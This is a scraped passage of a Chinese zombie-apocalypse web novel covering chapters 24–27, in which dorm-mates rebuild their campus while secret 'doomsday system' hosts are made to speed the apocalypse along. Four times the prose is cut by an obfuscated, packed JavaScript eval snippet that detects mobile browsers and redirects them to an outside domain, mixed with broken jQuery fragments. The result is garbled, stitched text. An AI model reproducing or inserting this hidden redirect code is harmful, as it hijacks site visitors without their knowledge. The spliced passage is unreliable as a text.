;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203031|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在围墙上的两人看出了丧尸的挣扎，开始疯狂大喊。 几分钟后，阮青舒嗓子都快喊哑了，她突然生气起来，掏出手机准备往宿舍群里发消息。 突然身边的朱妙妙一声低呼。 阮青舒顺着她的目光看去，同样兴奋起来，是小区的伸缩门动了！ 两栋居民楼之间就是小区大门，伸缩门关上后，丧尸就被锁在小区里了。这大小是个重点单位，伸缩门没有东区的那么矮，丧尸跳不出来。 “回头，小心点！” 不等阮青舒往宿舍群里发消息，姜杞的声音就从身后的墙下传出来。 李穗已经把被踢翻的木梯又扶了起来。 阮青舒高高兴兴地爬了下来，甚至激动地想原地转圈。 她看到本该守在校门的许尧了。 终于全都结束了。 阻止并报复了想把丧尸引过来的那伙人，学校大门抵挡住了丧尸的围攻，后山围墙也守住了，她们甚至追出墙外彻底清理了后患。 结束了，终于结束了。 接下来她们要在宿舍里发豆芽种黄豆，水培大蒜大白菜。她们还要种韭菜，可以割一茬又一茬。 她要在宿舍里好好休息一段时间，缩在被窝里，吹着小风扇，趁着没断网赶紧缓存点小说电视剧。 还得在网上搜搜能不能自制太阳能充电器，可别电视剧下载完了，手机没电了。 断电断网毕竟是迟早的事。 星光倾泻，阮青舒感觉像是刚从被老师拖堂很久的晚自习终于下了课，而且即将迎来一个小长假。 她高兴地走在回宿舍的路上，心想，大学生会自己给自己放假。 她太高兴了，以至于没注意到李穗的沉默与众人奇怪的注视。 直到朱妙妙突然挤进她与姜杞中间，捧住姜杞的胳膊。 “你胳膊怎么回事？” 阮青舒青春洋溢的笑脸也好奇地探过去。 她看到姜杞那只缠着衣服的胳膊，往外渗出血来。 “哦？”姜杞想了想，把绷带外面的白背心拆开，又系紧了点。 “忘说了，你们把丧尸引开后，我们砸开了一个车的窗户，正对付里面那个丧尸的时候，后面又突然冒出来了个丧尸……” 阮青舒打断她：“你受了伤怎么还出来，还拎着刀，还砍丧尸。” 姜杞没说话，她知道这不是个问句。 李穗也不说话，在姜杞坚持自己下车的时候，她才后知后觉明白姜杞心中的想法。 侯源林那样被咬了也没变成丧尸的人能有几个呢？ 就算是没立刻变成丧尸，谁知道以后能活多久。 反正她都被丧尸咬了…… 几人沉默地走着，没什么力气走路，别人却比她们走的更慢。 没有人走在她们前面。 阮青舒周身一震就要开吼，姜杞不用脑子也能想出她说不出什么好话，抢在她出声前捂住了她的嘴。 无非是“还没变成丧尸呢就把我们当丧尸躲着了”、“现在就把人当累赘了”之类的话。 别人又没这个意思，何必呢。 姜杞无比悲观地心想。留点好印象吧，以后她走了，说不定1230就慢慢散伙重组了。 当天晚上，姜杞被安排进一个独立宿舍。 不过在她本人的强烈要求下，最终住进独立宿舍的是她的三个舍友。 24. 【是否助力末世进度？】 1230宿舍在12楼。 她们是独立卫浴，开放式阳台，大窗户。晚上在阳台洗漱的时候，偏偏头就能看到被灯光勾勒的城市轮廓，甚至海上码头灯光闪烁。 白海市位于东部沿海，夜景还算繁华。 流光缠绕的高楼支撑起未来与希望。 而现在。姜杞披着外套，小心地去拉窗帘，不敢让月光照到自己的身影。 窗外，整个白海市更是一片死静。 灯光全无，人声寂寥，大地和大海一样平静。 姜杞小心缩回自己床上。 她知道这种平静只是假象。手机里微信群信息不断，也不敢随便退群，怕暴露自己还活着。各大社交平台上的求救更是络绎不绝。 不过能活到现在的人大多已经好好的躲起来了。 小区伸缩门一关，已经变成丧尸的业主也刷不开楼道门的面部识别，幸存者把自己防盗门一锁，丧尸是无论如何也进不来的。 但人同样也出不去。 孤独可以克服，恐惧能被坚固防盗门驱散，饥饿感却无法主观控制。 食物是会吃完的。 再也没有外卖能送上门。 末世第三天，大部分人囤货还没见底，但已经对未来无望的生活产生恐惧。 【重金求米面，有意者私】 【路名小区，谁家有吃的吗？我可以用花盆和园艺土换】 【德国刀具一组，换种子、种植工具】 只有求食物的，没有任何人拿食物出来换东西。 有吃的才能活下去，其余都是次要的。 姜杞突然有一种冲动，她想冲到楼下，去已经被掀开草坪的操场上，去宿舍楼西边的种植基地上狂奔。 当然她没有去，她知道去了会被当成丧尸打死。 “世上只有土地才值得你为它战斗，为它去死，因为它是唯一永恒的” 曾经读过的书在姜杞脑海中浮现。 其实她还是不太理解这句话，但土地的重要性已经在她脑海中具现化。 如果她们选择留在了小火锅店，现在可能每天只敢吃一点点的东西，计算剩余囤货够她们还能活多少日子。 如果她们没有外出，留在了宿舍里，校园的丧尸也没清理出去。 那她们将会被困在一个更加狭隘的空间里，每日连呼吸都是错的，稍微有点磕碰就陷入冷战。 可能走廊上一个缺胳膊少腿的丧尸都会把她们吓得这三天一次都不敢出去。 过往的种种选择成就了他们，成就了现在的东区。 接下来他们会用石头修筑围墙，让土地长出粮食。 在阳光普照下继续生存下去。 毕竟日升月落、潮汐依旧，世界并没什么不同。孕育了千万年生命的土地还保持着生命力。 她想，如果有一天自己躺在土地上，那不是自己在拥抱土地，而是土地在拥抱她。 姜杞不知道什么时候放下了手机，陷入沉睡之中。 头顶上的小吊扇还在嗡嗡地转。 手机里各大微信群渐渐沉寂。 沉睡中的姜杞不知道，今晚异变的不只是丧尸。 灾难再次降临，无声无息。 夜色浓淡犹如死神流转的裙摆，镰刀巨大的阴影从大地上划过，挑选满意的祭品。 建筑工地废弃的棚屋里，张奇伟被男男女女簇拥着，愤恨同困意斗争，最终困意压下眼皮时，刺眼的蓝光突然亮起： 【末世进度33.33%（加载中） 是否花费500能量值助力末世降临 ps:末世进度达到1/3时，将开启末世下一阶段】 眼皮打颤的张奇伟瞪大了眼，凑近去看那些字，可字体就那样待在视野的左上角，不因为他的靠近或远离而变大变小。 什么意思？张奇伟有些懵逼。 末世还没降临吗？怎么还搞助力这套。 助力个*，张奇伟冷哼一声，已经是末世了，灾难再加重对他能有什么好处。 更何况，他总共也就一百多能量值了，哪有多余的能量助力末世？昨天为了活下来他可付出了巨大的代价，想起来张奇伟的心还在漏风。 思绪间，眼前的字眼似乎有些变化。 【精力值已扣除，宿主助力成功】 【末世进度：33.333%】 【当前精力值：-325】 助力什么？谁助力了？ 进度变化了吗？是不是看错了，根本没人助力吧。 这是什么意思！ 张奇伟反复点开系统页面，思考精力值前面那个“-”是什么意思。 夜风从破窗中吹进来，寸头大个子呆滞地蹲在墙边上，双手抱膝。 装睡的卫信泽突然有点烦，这玩意是不是没他想象的那么精明，他是不是第一天就该直接带着舍友跑？ 死神的镰刀又化作浓重的乌云，乌云向北移动，海上明月无声被遮挡，风波起，渔船如叶片般起伏。 船头上举着手机找信号的女生忽然停住，她“嘶”了一声。 助力？祝你个大头鬼。 陈枫枫直接朝半空吐了口口水。 陈枫枫之前其实不是这样的人。 做学生她品学兼优，做居民她遵纪守法，虽然成绩算不上顶尖，但为人稳重，办事利落。过往十九年都算得上别人家的孩子。 直到那天早上，早起去海边晨跑的她眼前突然出现一行蓝色光字。 【检测到天命宿主，是否激活末世，绑定系统】 陈枫枫瞪大了眼把这行字反反复复看了好几遍。 什么意思，激活末世？ 这玩意怎么能和“天命”扯在一起！ 而且你*的激活末世，她可跟学校签合同了，毕业就有编制。 陈枫枫毫不犹豫地拒绝了，怕这玩意理解不了，她连连摇头摆手，还用翻译软件把“不”用日语、韩语、西班牙语等各国语言说了个遍。 等她像个猴一样气喘吁吁蹲在地上时，那个自称系统的东西才像是看够了乐子，慢慢有了反应： 【系统成功激活，末世领主系统竭诚为您服务~】 【末世即将来临，请宿主做好准备】 【一个憨厚的声音在您耳边说：它们，来了！】 嘶吼声好像从耳后响起。 一肚子脏话堵在嗓子眼，满脑袋问号快要飞出去，但陈枫枫拔腿就跑，恐惧带动着她的大腿小腿拼命狂奔，脑子里的东西只能往后排。 滨海大道，多好多平坦的道路啊，连个障碍物都没有，丧尸一眼就能看到她。 那天早上，稳重正派的陈枫枫骂出了今生说过最脏的话，干出来最违法乱纪的事。 身后朋友的呼喊让陈枫枫从回忆中清醒过来。 末世后她很少这样走神了。 不过这毕竟是那个坑死人的系统，陈枫枫是在拿不出什么好态度对待它。 匆忙在【拒绝】上面点了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203032|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下。 陈枫枫是看着自己手指点在【拒绝】上面的。 可片刻过后，蓝色字眼还是变成了【精力值已扣除，宿主助力成功】 【末世进度：33.33333%】 【当前精力值：-1225】 啊，倒也无所谓了，债多不压身。从来不完成系统任务，还老是捣乱的“天命宿主”耸耸肩，转身向朋友的方向走去。 海面巨大黑暗，像无尽的夜空。 陈枫枫的心无声沉入海底，她走在夜空下，与船与海融为一体。 她不动声色地警惕起来。 “助力”这种事情，不可能只发给一个人吧？ 还有其他宿主。 乌云聚散，最终很多地方下起雨来。 雨落雨停，时光流转。 死神的镰刀一遍遍划过山林，划过海岸，划过一望无际的平坦的耕地。 这一晚，很多人做出了选择。 小数点后的数字不断增加。 不知过了多久，本已平静下来的网络再次出现大量求救信息。 这次是求药。 铺天盖地的求药并没有持续多久，大约一个小时后就销声匿迹。 整夜整夜睡不着的许尧看着手机皱起眉来。 他睡在在校门口的保安室里，有任何危险都得先冲他来。但现在，许尧起身站在窗前，他察觉了危险的接近，却不知道到底是什么即将到来。 早已弄丢手机，并不知道末世后还有网络的张奇伟对世界变化也是一无所知。 夜里还忙着打鱼收集物资，为接下来的异变做打算的陈枫枫长舒一口气，刚刚捞上来一大网鱼，这回够学校里的大家吃上一段时间了。 她招呼着王姨李叔赶紧使劲，光她们几个学生不太弄得明白这东西。 却听到学妹一声惨烈的尖叫！ 月光从乌云的缝隙间倾斜下来。 她看到王姨咬上了学姐的胳膊，李叔拽着渔网的手不知道什么时候松开了，他身体搭在船边上，浑身抽搐…… 睡梦中的姜杞对此一无所知。 第二天，她半梦半醒间感觉身上有些束缚感。 睁开眼后，她对上了好几双眼。 一双漂亮的眼睛挤在视野中央，精致的脸说这些姜杞听不懂的话：“如何定义参数和统计量？” 她缓了缓，问道：“这是咱学过的吗？” 李穗松了一口气，阮青舒合上课本看了眼封面：“哦，好像是下学期的书？” “你睡到下午，我们还以为你没变成丧尸就直接死了。”朱妙妙脸色难看的很。 阮青舒大手一挥：“我就说嘛，一看她手机电量都没了就能想到她昨晚玩到了几点。” “散了吧大家，散了吧。” 李穗招呼着大家各回各宿舍。不一会，宿舍只有她们四个了。 其实有侯林源的先例在，大家也没觉得姜杞一定会变成丧尸。 被咬了也不会变成丧尸，还有人没被咬但突然变成丧尸了。那丧尸异变的条件到底是什么？ 几个半大孩子目前不打算考虑这么高深的问题。 奶茶杯里的黄豆吸水膨胀，撑出细纹，部分豆子顶端甚至已经生出白色根尖，长势喜人。 大家本来准备发豆芽来吃，可现在也没到饿肚子的地步。姜杞从种田文里经常看到大豆肥田，她们准备在相对贫瘠的土地上种豆子。 收获了豆子，冬天她们就有豆芽吃了。 25. 许妈妈 姜杞关注了一个种植博主。 她是在同城刷到的。是一个新号，末世后新号反而更难得。 种植背景是宿舍，应该也是个学生。 博主不露脸不说话，一味的发奶茶杯水培、下雨天屯水，厨余垃圾堆肥。 她的视频大多是一些教程，例如“奶茶杯制作水培盆”、“水培怎么换水”、“室内种植驱虫指南”。 姜杞感觉非常实用，她之前带着舍友一起用酸奶罐子发绿豆芽，结果发芽的绿豆全都缠绕在一起，四个人小心翼翼地拆了半天还是弄断了很多根须。 要是早看到教程就自制水培盆育苗了。 她缩在宿舍小小的床上，烦恼看起来也小小的。 而此刻的宿舍楼下，许尧正带着人加固后山的围墙，开垦耕地产生的野草也要用来堆肥，巡逻的人不停地给他发微信。全校人都知道许妈妈几乎一刻不停地操心着学校里的每件事。 正因如此，今天频繁看手机的他才显得有些反常。 张奇伟的小弟小妹们也觉得老大有些不对劲。 他对大家的关注变高了，平时是正眼都不会施舍给他们一个的。 踏上求生路的张奇伟擦了把汗，眯着眼看了看身后跟着他步行搜集物资的小弟小妹们。不知道自己的反常其实很明显。 天热得让他有些烦躁。 随着能量值变负，他已经动了舍弃这些人的念头。 陈枫枫不会舍弃任何人，但现在好像她自己都要活不下去了。 晴天的海总归是更平静一点，陈枫枫把自己锁在驾驶舱里，滴水未进，她看着窗外一望无际的蓝色，绝望感包裹着她，缓缓沉入海底。 她已经尝试一个晚上了，还是没搞定这艘船。 淡水快用光了。 她们可能会死在海上。 挣扎求生听起来很苦，但总归是活了下来。 幸存者们偶尔也会安慰自己，都末世了，全球的人都在遭难，自己的经历也算不得什么。 可跟他们想象的不同，世界上其实并没有很多和他们一样正身处水深火热之中的人。 因为，活着的人不多了。 世界在无人注意的角落发生着变化，死去的人没法宣告自己的死讯。 只有悄然沉寂的社交网络无声散发着异样气息。 末世第四天，1230全体待在小小的宿舍里，刷刷手机，试图给家里打打电话，整理从火锅店搞来的物资。 白萝卜耐放，李穗从楼下挖来一泡沫箱子土，把萝卜埋了起来，以备不时之需。 其实最好是直接在地上挖个坑埋起来。 但今天早上有人在表白墙痛骂猫粮贼，说有人偷吃楼下自助喂食器投放的猫粮，她买的喂食器带监控，已经拍下那人的脸了，限他三天内捉到一只老鼠给猫咪们道歉，要不然就把监控打印出来到处发。 喂食器的主人非常痛心疾首，如果真到了绝境，她肯定不会把猫咪的命放在人前面。 但首先现在每天都吃大锅饭，饿不死人。 其次，那张大胖脸监控都快装不下了，纯饿都能比别人多活几天，抢猫咪吃的无疑就是不要脸。 李穗对此倒是没发表什么意见，就是心有戚戚的抱紧了埋萝卜的泡沫箱子。 上海青留了一部分根，切面整齐像绿色玫瑰，姜杞小心地用奶茶杯养了起来。叶子也都被她吃了，1230就没人稀罕吃没油没盐的水煮菜。 白菜根在泡面碗里泡了两天了，今天早上，朱妙妙第N次阻止了姜杞想把水倒掉看看白菜有没有生根的手。 她第一个察觉了姜杞有成为植物杀手的潜质。 她们当时还搞来了肉。 用来做肉卷的那部分肉有肥有瘦，实在是没办法存放，回来当天就上交给学校了。 上交的肉卷换来了食堂冰箱的使用权，阮青舒刚刚跑去食堂把鲜肉取了出来，在食堂冰箱放着始终有些不安。 她们要做腊肉，留着断粮的时候吃。 按照小绿书的教程，肉要切成条，然后放入高度白酒腌制。 白酒是用一袋食用盐换来的，这项完全不对等的交换由姜杞完成，她特地穿了个宽松背心，不经意地脱掉外套，把受了伤的胳膊一露。 看管物资的两个同学一下子就红了眼，别开了头。阮青舒几乎相信她们把那一箱子酒抱走都没人管。 白酒腌制过后，还需要用生抽老抽八角等煮个调料水。 但之前剩的各种调料全都当做赠品送给学姐了，向学校借太麻烦，最终直接抹了一层厚厚的盐。 然后就用水果刀戳了个洞，挂在了晾衣杆上，通风晾晒。 “说起来，也不知道那个学姐有没有活下来。”阮青舒陷入回忆之中，她心中还是有淡淡的懊恼，就差一点。 如果那天宿舍的囤货没卖出去，她们可能也不会那么早出门，还特地跑到主校区门口吃饭。 可能她们直接在宿舍吃泡面清理囤货，悠哉悠哉睡个午觉后，还没出门就得知了末世爆发期末取消的消息。 简直是双喜临门。 李穗白了她一眼：“拜托，咱宿舍午睡啥时候关过门？如果真留在宿舍里，说不定睡梦中就直接被丧尸咬死了。” 阮青舒想去挠她的脸，被朱妙妙拦下了。 无处撒气的她把注意力转移向了不说话的姜杞，眉毛一挑，似乎觉得哪里不对劲。 阮青舒无声迈步，悄然转到了姜杞后面。 姜杞还在看那个种植博主的视频。 “这有什么好看的？”她戳了戳姜杞的肩膀。 姜杞合上手机，想了想，露出一个不太好看的笑。 她一有事情瞒着大家就这样。 随着这个笑容的露出，三颗脑袋齐齐出现在姜杞的上方，六只手掰住她的下巴，鼻子，脸。 声声逼问下，沉默良久的姜杞打开手机，点开那个博主的一个种植视频。 那个种植箱，曾经是朱妙妙的。 是那天上午，她们用来给囤货打包的箱子。 阮青舒的脸色变了又变，最终猛地站了起来！ 她感觉天旋地转。 制作水培盆的时候，大家就跟着姜杞看过这个人的视频。 许妈妈确实严禁大家在网上发关于东区的任何事情。可这个人，最新一条更新是昨晚，在昨晚她们杀出东区，找到退|役J人事务所的时间。 她发的视频总是在忙碌。 背景总是很暗很暗。 那个人也许是东区的，但她绝对没参与到学校事务中。 她可能一直把自己关在宿舍里。 阮青舒不但没有像姜杞想象的那样大吵大闹，要去一楼把那个学姐找出来。 她还第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203033|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次比朱妙妙更早get到了姜杞的点。 “那个人，可能提前知道了丧尸的存在。”打着颤的声音从喉咙里发出，阮青舒从来没觉得自己的声音如此陌生过。 她感觉自己的每根汗毛都有了独立的思想，一根一根竖了起来。 有人通过某种手段预知了末世？ 所以，提前囤货，躲了起来。 那个人可能就在东区。 “为什么不告诉我们？”阮青舒出乎意料的平静，甚至她都没想到自己会是这个反应。 姜杞像个瘫痪病人一样挪动着身下的电竞椅，靠近床边后爬了上去，一个侧身瘫在了床上。 飘忽的声音从被子底下传来。 “没想好要不要管。” 而且这些只是猜测，可能存在误会，可能那箱物资又被学姐寄给了别人，误打误撞到了另一个学校…… 存在太多可能。 “什么叫要不要管！”阮青舒扑了上去，要把姜杞拽起来，朱妙妙拼死护住姜杞那只手上的胳膊，李穗死命把这个发狂的女人往外拽。 “万一那个人真提前得知了末世爆发的消息呢？万一那个人手里还有末世的线索呢！” 姜杞想了想，回道：“要是真有，她自己早就该从宿舍走出来了。” “万一！我说万一啊！！”阮青舒暴跳如雷，她理解不了姜杞这是犯什么神经，她瞪大了眼，甚至手指颤巍巍的指向了眼前这个莫名其妙的人。 似乎下一秒就要把那个人尽皆知的秘密说出来。 李穗赶忙捂住她的嘴。 只略微过了一下脑子，又戚戚然松开。 她不觉得维护姜杞的个人隐私比了解末世真相更重要。 但阮青舒不知什么时候冷静了下来。 她没有继续向姜杞发难，她让姜杞自己坐起来，三个人围坐在姜杞床边。 阮青舒一锤定音：“这个人必须找出来。” 不管这个猜测有多大的可能，对末世真相有多大帮助。唯一的线索必须主动把握。 颓废仍然淡淡笼罩着姜杞，但她还是抬起脸来，认真看着大家：“还有一个人很奇怪。” 朱妙妙和李穗对视一眼。 “许尧。” 关于许尧的传言从一开就有。 他最先断定那些人已经变成了丧尸，对往日同学爆起头来毫不手软。 也是他事无巨细地维系整个东区的运转，哪里有需要就有他，绝不推辞，从未抱怨。 吃最少的东西，干最多最累的事情，他像是不知疲惫没有脾气，从未对任何人有一点不耐烦，再神经的人也不会得到他的黑脸。 大概圣人也莫过于此了。 姜杞不相信有圣人。 况且末世前他也不是这个样子。 小说经常写末世会激发人性恶的一面，虽然现实和小说存在差异，姜杞也不相信差异会这么大，没激发出来恶意，还给整治愈了。 如果不是许尧的同学都说末世前他天天在图书馆疯狂背书，早出晚归嗓子都背哑了，而且宿舍没有一点囤货，许妈妈肯定会再多一个预言许的外号了。 而现在。 许尧已经不在乎别人是怎么看他的了。 他像一块碑坐在地头上，手机提示音不断，却好像一点都听不到。 他好像发现丧尸异变的条件了。 26. 世界异变：00后占比100% 昨夜，突然暴增又骤然消失的求药信息始终让许尧心存疑虑，今日社交网络的平静更加重了他的不安。 匿名加入的幸存者群里，只有稀疏几个人发了消息。 天南海北的大家都表示身边没什么异样，丧尸在昨晚刚入夜的时候确实异常狂暴，但不到三小时就渐渐平息。 血液平息了部分丧尸的狂暴。 没得到进食的丧尸在狂暴中倒下，蜷缩起来，逐渐变僵硬。 【橘子叫】：千万千万不要看到丧尸倒下了就放松警惕！我们小区单元门特别坚固，丧尸疯狂撞击了一晚上都没撞坏。 【橘子叫】：后来声音渐渐没了，业主群里就说看到丧尸都倒下了。 【橘子叫】：有人就特别兴奋，觉得时机到了，抢在大家反应过来前下楼搜刮物资！ 紧接着她发出来一段视频： 镜头里的人穿着厚重雨衣，拿着手机站在单元楼门后观望了好久。后来大概是看到也业主群里跃跃欲试的信息，怕被人抢了先，不管不顾地推着个婴儿车出了门。 视频响起拍摄者的声音：“贪心的坏种！超市就在楼底下他是看都不看一眼，推着个车就往人家金店的后门跑，什么时候还……” 话没说完，一近一远两声尖叫同时爆发！ 手机掉落，很久之后才被捡起。 镜头止不住地颤，在飞溅的血肉中晃动，渐渐对准一堆疯狂涌动的丧尸。 尸群里，一只新鲜的手特外显眼，只是这只手没跟胳膊连在一起。 【橘子叫】：我怀疑丧尸经历久饿后会进入狂暴状态，疯狂寻找活物，如果经历了狂暴还未得到进食，就会陷入类似“僵尸”的休眠状态。 【橘子叫】：目前来看，进入休眠状态时间尚短的丧尸，接触活人后就会立刻苏醒，极其危险。 这是重大发现。 许尧也将这些天对付丧尸的经验及时分享出来，虽然昨天后半夜的网络异样还是没得到合理解释，但大家相互交流讨论，也算收获颇丰。 有人提出，他们这些还活跃的人重新建一个群。 昨晚还热闹非凡的群聊现在没几个人发言了，属实有点搞心态。 当时许尧正好被人喊去调解矛盾，回来时大家基本已经进入新群了。 他输入群号进行搜索，页面弹出，正要申请加入，突然被群聊资料吸引。 活跃12人 60% 女12人 60% 白海8人 45% 00后20人 100% 00后占比100%。 许尧看着这个数据，心突然空了一下。 细碎的、说不上来的恐慌，像野草在他心头无声扎根。 他退出，查看刚刚那个群的信息。 00后占比仅56%。 心里的空洞越来越大，黑洞般把他的灵魂往里吸。 别再查了，冥冥中有一个声音在呼喊。 可许尧还是不断滑动着手机，颤抖的手心不在焉的在手机上摸索了很久，才终于找到了最早进入的群聊。 00后占比41%。 几乎不用再确定了。 许尧跌倒在地头，眼镜也摔飞了出去。 过了好久好久，一个同学帮他把眼镜捡了起来，许尧茫然接过，才能恍惚听见外界的声音。 可他还是感觉世界只有他一个人。 真相来的这么突然，这么草率，让他一个人在田间地头看手机的时候随意发现。 可能，现在为止，世界上只有他自己知道这个秘密。 丧尸不是病毒，不会传播。 丧尸异变的条件是年龄。 巨大的孤寂将他包裹。 紧随而来的，是无边悔意。 死了，都死了。 他看着眼前这个同学，问：“你有父母吗？” 姜杞茫然地看着许尧，刚刚自己关心他了这么多句，这人一句不回，还反问上了。 她心想一会得偷偷睬他一脚，面上还是老老实实地回应：“我单亲。” 许尧笑了。 阮青舒看着这人突然滴落的泪水，想了想，还是先递了一张纸过去。 不料这人抓住她递纸巾的手，仰头问：“你爱你的父母吗？” 阮青舒沉默片刻：“*&￥#@” 被吓到的李穗赶忙后头看，敢骂许妈妈，被人发现还要不要命了！ 姜杞发现这是一个好机会。 她从暴怒边缘的阮青舒手里抽出纸巾，坐到了许尧旁边，轻声安慰：“是遇到什么事了吗？” “这些日子你承担了这么多，现在形势有所好转，可以不给自己那么大压力了。 “我们已经并肩经历了这么多，早就是互相托付的伙伴了。” “压力这么大吗？都说不出话了。”姜杞安慰他：“你需要倾诉。” 她眼神如深潭，和声细语：“是不是，你没办法说出来？” 李穗不知道许尧眼中的姜杞是不是温柔天使。 反正，在她看来，现在的姜杞就是个正准备吃小孩的老巫婆，披着羊皮，小眼睛亮着精光，一声声敲着小孩家的门。 她不禁抱起自己的胳膊。 直到许尧晕过去。 他是吐血晕倒的。 四个心怀鬼胎的人被惊吓到简直找不到下巴，手脚并用把这个瘦高男人抬了起来，刚抬着走了两步就挤压到腹部，许尧又吐了一口血出来。 “抱！”姜杞甩着他的腿扔给了李穗，止不住打寒战。 李穗二话不说抱起来就走，她第一次使劲到脸发白。 医务室里，陈佳宁正在刷网课，手里的笔记已经记了小半本。 他再三跟大家说自己学的是水产养殖，只是跟活物沾一点边，既不是兽医，也救不了人命。但这群文科生还是把他扔到了这里来。 没办法，趁着没断网，陈佳宁花了大价钱买网课紧急突击自学，每天啥都不干就在医务室学的焦头烂额，没有人教，他就自己在人身上摸索。 昨天那个叫姜杞的女生，就是他给包扎的。 现在又来了一个人满脸是血。 陈佳宁拿着纱布崩溃：“我就算自学点护理知识外科知识，也看不了这么高级的内科啊！咦这不是许妈妈吗？累坏了吧这是，绝对的！” “从我来东区，还没见他睡过一个整觉呢，晚上巡……” 许尧昏迷的事传的很快。 几乎整个东区都来看他了。 幸好检查后只是牙龈出血。大家一致认定许妈妈就是太累了，蹑手蹑脚地送来好多补血的补品。 有常见的红糖、红枣，黑芝麻丸，核桃枸杞阿胶糕。当归补血丸听起来也很正常，除此之外还有徐佳宁完全看不懂的八珍益母丸、益母草颗粒。 “咱们女生囤货就是多哈。” 徐佳宁也不知道说什么了，呵呵笑了两声，偷摸塞嘴里一个黑芝麻丸。 姜杞等人接受了层层盘问后，终于从拥挤的医务室挤了出来。 “还是先把那个女生找出来吧。” 姜杞回头看了眼病房：“许尧这也不能放过，他刚刚看上去太不对劲了。” 李穗磕巴道：“我倒觉得还好，末 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203034|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世嘛，不正常也挺正常的吧。” 刚刚她们在医务室门口碰到了一个大哭的男生，朱妙妙蹲下来安慰了他半天，才问出来这人就是心理压力大，但平时大家都很乐观所以他也不好意思哭，现在趁着许尧昏迷哭一会。 哭得跟哭丧似的。 这件事对朱妙妙造成了一定的精神污染，本就话少的人苦着一张脸更不愿意说话了。 “从哪开始找？” 阮青舒不接李穗的话茬，她对于寻找末世真相异常坚定，并且坚信姜杞这种消极态度才是不正常的。 朱妙妙拿着手机反复观看那个博主的视频，试图找出什么线索。 博主很少把宿舍背景暴露出来，朱妙妙还是根据些许片段看出宿舍铺的是瓷砖。 在东区，铺瓷砖的宿舍只有东三东四宿舍楼这两个，也就是她们正在居住的这里。两栋楼所有宿舍格局都是一样的，但这个宿舍背景，并没有给她熟悉的感觉。 “还有东六。”姜杞突然想到。就是她们隔离时住的新宿舍。 朱妙妙摇头：“不可能是新宿舍，东六太新了，末世前根本没人住进去。看视频背景，应该是住了很久的房间。” 她已经向张梦娴确定过了，东六现在没住人。 姜杞从手机上接收了张梦娴发过来的文档：《东三宿舍楼现居住信息统计表》 她打开文档：“那就先从东三东四宿舍楼开始查。” 末世后，许尧很快带人接管了东区，秩序未曾失控，现存食物也还算充裕，内部一直没爆发什么剧烈矛盾。 大家很大程度上还保留着末世前的高素质高边界感。 昨晚劈床板都是优先劈的空床位和已经离校的整理好的床铺，保证像姜杞她们这样末世后身在校外的同学回来后还能回宿舍住。 所以对于从来没开过门的宿舍，大家也不知道里面到底住没住人。 理由都是现成的。 姜杞说：“许妈妈累倒了需要补品，咱们给他找物资去。” 只拿药品和马上要坏掉的水果，还有临期食品。 阮青舒真心实意地翻了个白眼：“都末世了还装什么装。” 边界感和求生很难分孰轻孰重吗？她真的认为这种心态是病，得治。 话是这样说。 可当她们真进到别人宿舍的时候，阮青舒还是小心翼翼地挪动宿舍里的每一样东西。 这个宿舍床铺没叠，窗帘半掩，处处是还在生活的痕迹。 她们像是突然闯进末世前的时光里。 两个人翻找物资，两个人拍摄。 这次搜集物资的不止她们一批人，每一批人都是这样。 张梦娴说，信任是有的，但也不要考验人性。 找物资的标准就像姜杞说的那样，所有药品，水果，还有即将过期的食物。 以后食物真的不够吃了，再回来拿走剩下的。 现在他们还没山穷水尽，同学们也随时可能回来，没必要全拿走。 完全没人的宿舍不少。 末世爆发时至少一半的人已经离校，而且正值周末中午，像姜杞她们那样外出聚餐的宿舍很多。 考完试提前离校的宿舍干净整洁，按照班群发的通知锁好门窗堵死下水道再走的。这样的宿舍只能找到一些药品，还有些违禁品，管制刀具直板夹小电锅。 基本找不到什么吃的。 有的宿舍还保留着生活气息，床上的台灯都没关，垃圾桶半满。 好像人随时都会回来。 窗帘微动，地板上阳光跳动。大家夹在时光缝隙里，静静地翻找物资。 27. 搜寻物资 